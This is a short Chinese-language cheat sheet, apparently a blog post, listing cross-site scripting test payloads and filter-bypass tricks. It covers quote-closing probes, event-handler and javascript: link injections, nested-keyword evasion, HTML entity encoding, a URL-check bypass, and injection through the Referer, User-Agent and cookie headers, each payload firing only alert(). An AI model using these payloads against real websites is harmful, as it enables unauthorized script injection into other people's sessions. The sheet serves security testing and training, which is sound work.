XSS的基本判断流程
- 判断是否为引号闭合,是单还是双
 
'">
- 接着使用正常的xss语句(当为双引号闭合的情况)
 
"><script>alert('1')</script>
- 不行就用HTML事件
 
"oninput="alert('yes')
- 或用鼠标触发事件
 
"onclick="window.alert()
- 以上都不行就使用伪链接
 
"><a hRef=javascript:alert('yes')>链接</a>
- 
对于那些过滤掉的字符
在被过滤字符中都插入一段过滤字符,当插入的字符被过滤后,过滤结果仍然可以组合成为脚本语句:
"><scrscriptipt>alert("yes")</scrscriptipt> - 
以上都不行时,可以考虑换一种编码方式进行绕过。例:将p转码
 
javascript:alert()       --html编码
- 对url进行了匹配
 
在编码后添加http://www.baidu.com,为了不影响javascript代码,在url前加javascript的单行注释符//,便于javascript代码正常执行。
javascript:alert(1)//http://www.baidu.com
- 
输入框被隐藏
左侧第一个双引号用来闭合 value属性的左双引号,代码确实添加了点击事件 , 但输入框被隐藏 , 点击不了,这时需要再追加一个 type属性 , 使输入框显示出来 .
 
"onclick=alert(1) type=text
- 读取了HTTP请求包的Referer
 
将Referer修改为Payload:
"type="text" onclick="alert(1)
- 修改 User-agent , 添加点击事件
 
修改 User-agent , 添加点击事件 , 并修改type属性 使input输入框展示,Payload:
"onclick=alert(1) type=text
- 修改cookie的值
 
"onclick=alert(1) type=text
- img标签的报错事件
 
<img src=x οnerrοr=alert(1)>'
- 超链接 a 标签中的 href
 
<a href="javascript:alert(1)">
- embed标签,发现使用url进行传参
 
利用传参 和 鼠标事件onmouseover(鼠标移动至指定元素触发)来触发弹窗
arg02= onmouseover=alert(1)
- 手动添加 鼠标事件 
onmouseover=alert(1)事件 
<embed src="……" onmouseover="alert(1)">

                
            
        
浙公网安备 33010602011771号